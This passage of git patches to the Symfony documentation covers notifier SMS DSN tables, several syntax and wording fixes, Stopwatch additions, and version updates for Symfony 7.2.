+                    **Webhook support**: No
+`FakeSms`_          **Install**: ``composer require symfony/fake-sms-notifier`` \
+                    **DSN**: ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default`` \
+                    **Webhook support**: No
+`FreeMobile`_       **Install**: ``composer require symfony/free-mobile-notifier`` \
+                    **DSN**: ``freemobile://LOGIN:API_KEY@default?phone=PHONE`` \
+                    **Webhook support**: No
+`GatewayApi`_       **Install**: ``composer require symfony/gateway-api-notifier`` \
+                    **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`GoIP`_             **Install**: ``composer require symfony/goip-notifier`` \
+                    **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \
+                    **Webhook support**: No
+`Infobip`_          **Install**: ``composer require symfony/infobip-notifier`` \
+                    **DSN**: ``infobip://AUTH_TOKEN@HOST?from=FROM`` \
+                    **Webhook support**: No
+`Iqsms`_            **Install**: ``composer require symfony/iqsms-notifier`` \
+                    **DSN**: ``iqsms://LOGIN:PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`iSendPro`_         **Install**: ``composer require symfony/isendpro-notifier`` \
+                    **DSN**: ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX`` \
+                    **Webhook support**: No
+`KazInfoTeh`_       **Install**: ``composer require symfony/kaz-info-teh-notifier`` \
+                    **DSN**: ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` \
+                    **Webhook support**: No
+`LightSms`_         **Install**: ``composer require symfony/light-sms-notifier`` \
+                    **DSN**: ``lightsms://LOGIN:TOKEN@default?from=PHONE`` \
+                    **Webhook support**: No
+`Mailjet`_          **Install**: ``composer require symfony/mailjet-notifier`` \
+                    **DSN**: ``mailjet://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`MessageBird`_      **Install**: ``composer require symfony/message-bird-notifier`` \
+                    **DSN**: ``messagebird://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`MessageMedia`_     **Install**: ``composer require symfony/message-media-notifier`` \
+                    **DSN**: ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` \
+                    **Webhook support**: No
+`Mobyt`_            **Install**: ``composer require symfony/mobyt-notifier`` \
+                    **DSN**: ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Nexmo`_            **Install**: ``composer require symfony/nexmo-notifier`` \
+                    Abandoned in favor of Vonage (see below) \
+`Octopush`_         **Install**: ``composer require symfony/octopush-notifier`` \
+                    **DSN**: ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE`` \
+                    **Webhook support**: No
+`OrangeSms`_        **Install**: ``composer require symfony/orange-sms-notifier`` \
+                    **DSN**: ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME`` \
+                    **Webhook support**: No
+`OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
+                    **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
+                    **Webhook support**: No
+`Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
+                    **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Redlink`_          **Install**: ``composer require symfony/redlink-notifier`` \
+                    **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \
+                    **Webhook support**: No
+`RingCentral`_      **Install**: ``composer require symfony/ring-central-notifier`` \
+                    **DSN**: ``ringcentral://API_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Sendberry`_        **Install**: ``composer require symfony/sendberry-notifier`` \
+                    **DSN**: ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM`` \
+                    **Webhook support**: No
+`Sendinblue`_       **Install**: ``composer require symfony/sendinblue-notifier`` \
+                    **DSN**: ``sendinblue://API_KEY@default?sender=PHONE`` \
+                    **Webhook support**: No
+`Sms77`_            **Install**: ``composer require symfony/sms77-notifier`` \
+                    **DSN**: ``sms77://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
+`SimpleTextin`_     **Install**: ``composer require symfony/simple-textin-notifier`` \
+                    **DSN**: ``simpletextin://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
+`Sinch`_            **Install**: ``composer require symfony/sinch-notifier`` \
+                    **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Smsapi`_           **Install**: ``composer require symfony/smsapi-notifier`` \
+                    **DSN**: ``smsapi://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
+                    **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
+                    **Webhook support**: No
+`Smsc`_             **Install**: ``composer require symfony/smsc-notifier`` \
+                    **DSN**: ``smsc://LOGIN:PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`SMSFactor`_        **Install**: ``composer require symfony/sms-factor-notifier`` \
+                    **DSN**: ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE`` \
+                    **Webhook support**: No
+`SpotHit`_          **Install**: ``composer require symfony/spot-hit-notifier`` \
+                    **DSN**: ``spothit://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Telnyx`_           **Install**: ``composer require symfony/telnyx-notifier`` \
+                    **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \
+                    **Webhook support**: No
+`TurboSms`_         **Install**: ``composer require symfony/turbo-sms-notifier`` \
+                    **DSN**: ``turbosms://AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Twilio`_           **Install**: ``composer require symfony/twilio-notifier`` \
+                    **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \
+                    **Webhook support**: Yes
+`Vonage`_           **Install**: ``composer require symfony/vonage-notifier`` \
+                    **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \
+                    **Webhook support**: Yes
+`Yunpian`_          **Install**: ``composer require symfony/yunpian-notifier`` \
+                    **DSN**: ``yunpian://APIKEY@default`` \
+                    **Webhook support**: No
+==================  ====================================================================================================================================
 
 .. versionadded:: 6.1
 

From 46562c0f4a4d7c1179599d5772e2955df41ba260 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Sat, 18 May 2024 15:09:21 +0200
Subject: [PATCH 6098/7107] fix expression language precedence cell grouping

---
 reference/formats/expression_language.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 79af2d14002..1179d78a43c 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -446,9 +446,9 @@ Operators                                                associativity
 ``~``                                                    left
 ``+``, ``-``                                             left
 ``..``                                                   left
-``==``, ``===``, ``!=``, ``!==``,                        left
-``<``, ``>``, ``>=``, ``<=``,
-``not in``, ``in``, ``contains``,
+``==``, ``===``, ``!=``, ``!==``, \                      left
+``<``, ``>``, ``>=``, ``<=``, \
+``not in``, ``in``, ``contains``, \
 ``starts with``, ``ends with``, ``matches``
 ``&``                                                    left
 ``^``                                                    left

From ca65006a0cbf8a4e6ce5a37b07c013948b0f0c9e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9lian=20Bousquet?=
 <26789950+kells64000@users.noreply.github.com>
Date: Sat, 18 May 2024 17:35:20 +0200
Subject: [PATCH 6099/7107] Update scheduler.rst

The while was missing a parenthesis and the negation of the condition needs to be removed for it to work as expected.
---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index d23df3b3044..b1ef369b677 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -320,7 +320,7 @@ For example, if you want to send customer reports daily except for holiday perio
             }
 
             // loop until you get the next run date that is not a holiday
-            while (!$this->isHoliday($nextRun) {
+            while ($this->isHoliday($nextRun)) {
                 $nextRun = $this->inner->getNextRunDate($nextRun);
             }
 

From 6453ce337484fa4ed00a99357a6f54de8d7cbf70 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 20 May 2024 19:05:36 +0200
Subject: [PATCH 6100/7107] Remove redundant parenthesis on attribute

---
 event_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index a1e26412a85..897157b4724 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -162,7 +162,7 @@ having to add any configuration in external files::
         }
     }
 
-You can add multiple ``#[AsEventListener()]`` attributes to configure different methods::
+You can add multiple ``#[AsEventListener]`` attributes to configure different methods::
 
     namespace App\EventListener;
 
@@ -198,7 +198,7 @@ can also be applied to methods directly::
 
     final class MyMultiListener
     {
-        #[AsEventListener()]
+        #[AsEventListener]
         public function onCustomEvent(CustomEvent $event): void
         {
             // ...

From 5d63d63c99c4e6b757bce2cb759af28349c46ade Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 20 May 2024 19:09:01 +0200
Subject: [PATCH 6101/7107] Remove redundant parenthesis on attribute

---
 components/http_kernel.rst          | 2 +-
 controller.rst                      | 2 +-
 http_cache.rst                      | 4 ++--
 http_cache/cache_vary.rst           | 2 +-
 http_cache/expiration.rst           | 2 +-
 security.rst                        | 6 +++---
 security/expressions.rst            | 6 +++---
 security/voters.rst                 | 4 ++--
 service_container/lazy_services.rst | 2 +-
 templates.rst                       | 6 +++---
 10 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9104a9f7b6e..fdaab397050 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -421,7 +421,7 @@ return a ``Response``.
 
     There is a default listener inside the Symfony Framework for the ``kernel.view``
     event. If your controller action returns an array, and you apply the
-    :ref:`#[Template()] attribute <templates-template-attribute>` to that
+    :ref:`#[Template] attribute <templates-template-attribute>` to that
     controller action, then this listener renders a template, passes the array
     you returned from your controller to that template, and creates a ``Response``
     containing the returned content from that template.
diff --git a/controller.rst b/controller.rst
index ec2777e7f19..60aa1e66fdb 100644
--- a/controller.rst
+++ b/controller.rst
@@ -557,7 +557,7 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 
     public function dashboard(
-        #[MapRequestPayload()] EmployeesDto $employeesDto
+        #[MapRequestPayload] EmployeesDto $employeesDto
     ): Response
     {
         // ...
diff --git a/http_cache.rst b/http_cache.rst
index e1f1a57399c..99553fc12f2 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -231,7 +231,7 @@ The *easiest* way to cache a response is by caching it for a specific amount of
 
 .. versionadded:: 6.2
 
-    The ``#[Cache()]`` attribute was introduced in Symfony 6.2.
+    The ``#[Cache]`` attribute was introduced in Symfony 6.2.
 
 Thanks to this new code, your HTTP response will have the following header:
 
@@ -331,7 +331,7 @@ Additionally, most cache-related HTTP headers can be set via the single
 
 .. tip::
 
-    All these options are also available when using the ``#[Cache()]`` attribute.
+    All these options are also available when using the ``#[Cache]`` attribute.
 
 Cache Invalidation
 ------------------
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index cb0db8c674d..d4e1dcbc83e 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -28,7 +28,7 @@ trigger a different representation of the requested resource:
     resource based on the URI and the value of the ``Accept-Encoding`` and
     ``User-Agent`` request header.
 
-Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache()]``
+Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache]``
 attribute::
 
 .. configuration-block::
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index 0d666e4cae8..d6beb777032 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -61,7 +61,7 @@ or disadvantage to either.
 
 According to the HTTP specification, "the ``Expires`` header field gives
 the date/time after which the response is considered stale." The ``Expires``
-header can be set with the ``expires`` option of the ``#[Cache()]`` attribute or
+header can be set with the ``expires`` option of the ``#[Cache]`` attribute or
 the ``setExpires()`` ``Response`` method::
 
 .. configuration-block::
diff --git a/security.rst b/security.rst
index 2b4350e27ee..0270d2fdbb0 100644
--- a/security.rst
+++ b/security.rst
@@ -2525,7 +2525,7 @@ will happen:
 .. _security-securing-controller-annotations:
 .. _security-securing-controller-attributes:
 
-Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
+Another way to secure one or more controller actions is to use the ``#[IsGranted]`` attribute.
 In the following example, all controller actions will require the
 ``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
 the ``ROLE_SUPER_ADMIN`` permission:
@@ -2579,11 +2579,11 @@ that is thrown with the ``exceptionCode`` argument::
 
 .. versionadded:: 6.2
 
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+    The ``#[IsGranted]`` attribute was introduced in Symfony 6.2.
 
 .. versionadded:: 6.3
 
-    The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was
+    The ``exceptionCode`` argument of the ``#[IsGranted]`` attribute was
     introduced in Symfony 6.3.
 
 .. _security-template:
diff --git a/security/expressions.rst b/security/expressions.rst
index e3e6425f6d5..fcf87269bc5 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -7,7 +7,7 @@ Using Expressions in Security Access Controls
     the :doc:`Voter System </security/voters>`.
 
 In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method
-and ``#[IsGranted()]`` attribute also accept an
+and ``#[IsGranted]`` attribute also accept an
 :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:
 
 .. configuration-block::
@@ -71,7 +71,7 @@ and ``#[IsGranted()]`` attribute also accept an
 
 .. versionadded:: 6.2
 
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+    The ``#[IsGranted]`` attribute was introduced in Symfony 6.2.
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
 user object's ``isSuperAdmin()`` method returns ``true``, then access will
@@ -142,7 +142,7 @@ Additionally, you have access to a number of functions inside the expression:
     true if the user has actually logged in during this session (i.e. is
     full-fledged).
 
-In case of the ``#[IsGranted()]`` attribute, the subject can also be an
+In case of the ``#[IsGranted]`` attribute, the subject can also be an
 :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
     // src/Controller/MyController.php
diff --git a/security/voters.rst b/security/voters.rst
index 7d37aea2510..c7aeb8bdbe1 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -121,14 +121,14 @@ code like this:
             }
         }
 
-The ``#[IsGranted()]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
+The ``#[IsGranted]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
 calls out to the "voter" system. Right now, no voters will vote on whether or not
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
 
 .. versionadded:: 6.2
 
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+    The ``#[IsGranted]`` attribute was introduced in Symfony 6.2.
 
 Creating the custom Voter
 -------------------------
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 83589939acb..827d36a0662 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -131,7 +131,7 @@ laziness, and supports lazy-autowiring of union types::
 
 .. versionadded:: 6.3
 
-    The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in
+    The ``lazy`` argument of the ``#[Autowire]`` attribute was introduced in
     Symfony 6.3.
 
 Interface Proxifying
diff --git a/templates.rst b/templates.rst
index c3d4ac4d53d..8f1e412b6d1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -579,7 +579,7 @@ use the ``render()`` method of the ``twig`` service.
 
 .. _templates-template-attribute:
 
-Another option is to use the ``#[Template()]`` attribute on the controller method
+Another option is to use the ``#[Template]`` attribute on the controller method
 to define the template to render::
 
     // src/Controller/ProductController.php
@@ -596,7 +596,7 @@ to define the template to render::
         {
             // ...
 
-            // when using the #[Template()] attribute, you only need to return
+            // when using the #[Template] attribute, you only need to return
             // an array with the parameters to pass to the template (the attribute
             // is the one which will create and return the Response object).
             return [
@@ -608,7 +608,7 @@ to define the template to render::
 
 .. versionadded:: 6.2
 
-    The ``#[Template()]`` attribute was introduced in Symfony 6.2.
+    The ``#[Template]`` attribute was introduced in Symfony 6.2.
 
 The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`

From 255cf606be1f6ab582b7f5ef8f0a7781c6667ed6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Tue, 21 May 2024 19:20:40 +0200
Subject: [PATCH 6102/7107] [AssetMapper] Remove Cloudflare auto-minify links

As Cloudflare is deprecating their auto-minify feature, let's remove it from the doc
---
 frontend/asset_mapper.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index dfc6a196430..1f5eae2a501 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -636,9 +636,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default and you can also
-  enable `auto minify`_ to further compress your assets (e.g. removing
-  whitespace and comments from JavaScript and CSS files).
+  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -716,8 +714,8 @@ Does the AssetMapper Component Minify Assets?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Nope! Minifying or compressing assets *is* important, but can be
-done by your web server or a service like Cloudflare. See
-:ref:`Optimization <optimization>` for more details.
+done by your web server. See :ref:`Optimization <optimization>` for
+more details.
 
 Is the AssetMapper Component Production Ready? Is it Performant?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1152,7 +1150,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _class syntax: https://caniuse.com/es6-class
 .. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
 .. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html
-.. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
 .. _Lighthouse: https://developers.google.com/web/tools/lighthouse
 .. _Tailwind: https://tailwindcss.com/
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle

From 46bef1465a0c408aabb2c4cb2d9a4cce2e3d50e9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Tue, 21 May 2024 07:22:49 +0200
Subject: [PATCH 6103/7107] [HttpCache] Remove SensioFrameworkExtraBundle
 reference

---
 http_cache/_expiration-and-validation.rst.inc | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/http_cache/_expiration-and-validation.rst.inc b/http_cache/_expiration-and-validation.rst.inc
index 3ae2113e242..cb50cd6163e 100644
--- a/http_cache/_expiration-and-validation.rst.inc
+++ b/http_cache/_expiration-and-validation.rst.inc
@@ -5,10 +5,3 @@
     both worlds. In other words, by using both expiration and validation, you
     can instruct the cache to serve the cached content, while checking back
     at some interval (the expiration) to verify that the content is still valid.
-
-    .. tip::
-
-        You can also define HTTP caching headers for expiration and validation by using
-        annotations. See the `FrameworkExtraBundle documentation`_.
-
-.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/cache.html

From 036eec8f3087091a57b6ed1eca92d3520daa0a95 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 16 May 2024 12:48:39 +0200
Subject: [PATCH 6104/7107] Add extra information on AsEventListener attribute
 usage

---
 event_dispatcher.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 897157b4724..dc1682f39e6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -162,7 +162,9 @@ having to add any configuration in external files::
         }
     }
 
-You can add multiple ``#[AsEventListener]`` attributes to configure different methods::
+You can add multiple ``#[AsEventListener]`` attributes to configure different methods.
+In the below example, for ``foo`` event, ``onFoo`` method will be called
+implicitly if method attribute is not set::
 
     namespace App\EventListener;
 

From 81ca5c25843a0775abd6765f1107a72b34c9c156 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 May 2024 15:38:09 +0200
Subject: [PATCH 6105/7107] Minor tweaks

---
 event_dispatcher.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index dc1682f39e6..ab3428f6cb0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -163,8 +163,9 @@ having to add any configuration in external files::
     }
 
 You can add multiple ``#[AsEventListener]`` attributes to configure different methods.
-In the below example, for ``foo`` event, ``onFoo`` method will be called
-implicitly if method attribute is not set::
+The ``method`` property is optional, and when not defined, it defaults to
+``on`` + uppercased event name. In the example below, the ``'foo'`` event listener
+doesn't explicitly define its method, so the ``onFoo()`` method will be called::
 
     namespace App\EventListener;
 

From 18f36ef332bae77634877b1bea756ae3230d82b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 May 2024 15:46:43 +0200
Subject: [PATCH 6106/7107] Fix some merging issues

---
 notifier.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3e2c3eca6d9..b34757f22bf 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -165,6 +165,9 @@ Service
 `Smsapi`_           **Install**: ``composer require symfony/smsapi-notifier`` \
                     **DSN**: ``smsapi://TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Smsbox`_           **Install**: ``composer require symfony/smsbox-notifier`` \
+                    **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \
+                    **Webhook support**: No
 `SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
                     **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
                     **Webhook support**: No
@@ -189,6 +192,9 @@ Service
 `Twilio`_           **Install**: ``composer require symfony/twilio-notifier`` \
                     **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \
                     **Webhook support**: Yes
+`Unifonic`_         **Install**: ``composer require symfony/unifonic-notifier`` \
+                    **DSN**: ``unifonic://APP_SID@default?from=FROM`` \
+                    **Webhook support**: No
 `Vonage`_           **Install**: ``composer require symfony/vonage-notifier`` \
                     **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \
                     **Webhook support**: Yes
@@ -205,7 +211,8 @@ Service
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_, `SMSense`_  and `LOX24`_ integrations were introduced in Symfony 7.1.
+    The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic``
+    integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 
@@ -348,8 +355,7 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations
-    were introduced in Symfony 7.1.
+    The ``Bluesky`` integration was introduced in Symfony 7.1.
 
 .. caution::
 

From 01ca38dac8964f2e06eb18428854e9f3561a5a17 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 22 May 2024 21:44:11 +0200
Subject: [PATCH 6107/7107] [Stopwatch] Add ROOT constant to make it easier to
 reference

---
 performance.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index ca34e95ee37..ffeff6608c1 100644
--- a/performance.rst
+++ b/performance.rst
@@ -382,10 +382,16 @@ All events that don't belong to any named section are added to the special secti
 called ``__root__``. This way you can get all stopwatch events, even if you don't
 know their names, as follows::
 
-    foreach($this->stopwatch->getSectionEvents('__root__') as $event) {
+    use Symfony\Component\Stopwatch\Stopwatch;
+
+    foreach($this->stopwatch->getSectionEvents(Stopwatch::ROOT) as $event) {
         echo (string) $event;
     }
 
+.. versionadded:: 7.2
+
+    The ``Stopwatch::ROOT`` constant as a shortcut for ``__root__`` was introduced in Symfony 7.2.
+
 Learn more
 ----------
 

From 6331dc5d6b6b52425220e5dec44f75be657ea2d7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 22 May 2024 21:49:28 +0200
Subject: [PATCH 6108/7107] [Stopwatch] Add getLastPeriod method to
 StopwatchEvent

---
 performance.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/performance.rst b/performance.rst
index ca34e95ee37..634ad8572ea 100644
--- a/performance.rst
+++ b/performance.rst
@@ -362,6 +362,13 @@ method does, which stops an event and then restarts it immediately::
     // Lap information is stored as "periods" within the event:
     // $event->getPeriods();
 
+    // Gets the last event period:
+    // $event->getLastPeriod();
+
+.. versionadded:: 7.2
+
+    The ``getLastPeriod`` method was introduced in Symfony 7.2.
+
 Profiling Sections
 ..................
 

From 5bcaf58a7608ad467dffc3be35721d9e3286b4c1 Mon Sep 17 00:00:00 2001
From: Tim <5579551+Timherlaud@users.noreply.github.com>
Date: Wed, 22 May 2024 16:31:48 +0200
Subject: [PATCH 6109/7107] 19909 [FrameworkBundle] Add support for setting
 headers

---
 templates.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/templates.rst b/templates.rst
index b6ae333cee1..d1c714d4225 100644
--- a/templates.rst
+++ b/templates.rst
@@ -705,6 +705,11 @@ provided by Symfony:
                     site_name: 'ACME'
                     theme: 'dark'
 
+                # optionally you can define HTTP headers to add to the response
+                headers:
+                    Content-Type: 'text/html'
+                    foo: 'bar'
+
     .. code-block:: xml
 
         <!-- config/routes.xml -->
@@ -734,6 +739,11 @@ provided by Symfony:
                     <default key="site_name">ACME</default>
                     <default key="theme">dark</default>
                 </default>
+
+                <!-- optionally you can define HTTP headers to add to the response -->
+                <default key="headers">
+                    <default key="Content-Type">text/html</default>
+                </default>
             </route>
         </routes>
 
@@ -764,11 +774,20 @@ provided by Symfony:
                     'context' => [
                         'site_name' => 'ACME',
                         'theme' => 'dark',
+                        ],
+
+                    // optionally you can define HTTP headers to add to the response
+                    'headers' => [
+                        'Content-Type' => 'text/html',
                     ]
                 ])
             ;
         };
 
+.. versionadded:: 7.2
+
+    The ``headers`` option was introduced in Symfony 7.2.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b38c05e9f54d8cd0efccc09f386ca98444ba4b59 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 24 May 2024 09:35:51 +0200
Subject: [PATCH 6110/7107] implement __isset() together with __get()

---
 components/property_access.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index e2e6cb95796..953a05bff47 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -204,12 +204,22 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
         {
             return $this->children[$id];
         }
+
+        public function __isset($id): bool
+        {
+            return true;
+        }
     }
 
     $person = new Person();
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
+.. caution::
+
+    When implementing the magic ``__get()`` method, you also need to implement
+    ``__isset()``.
+
 .. versionadded:: 5.2
 
     The magic ``__get()`` method can be disabled since in Symfony 5.2.

From a9a6f77c095d34d3bb2c6b7e65fd26fb7f2e371d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 24 May 2024 15:50:07 +0200
Subject: [PATCH 6111/7107] Update examples to symfony 7.2

---
 contributing/code/pull_requests.rst | 2 +-
 contributing/code/tests.rst         | 2 +-
 setup.rst                           | 8 ++++----
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7c9ab2579a5..28a6dbc8169 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,7 +132,7 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``7.1``, if you are adding a new feature.
+* ``7.2``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 08f6bc5df12..060e3eda02b 100644
--- a/contributing/code/tests.rst
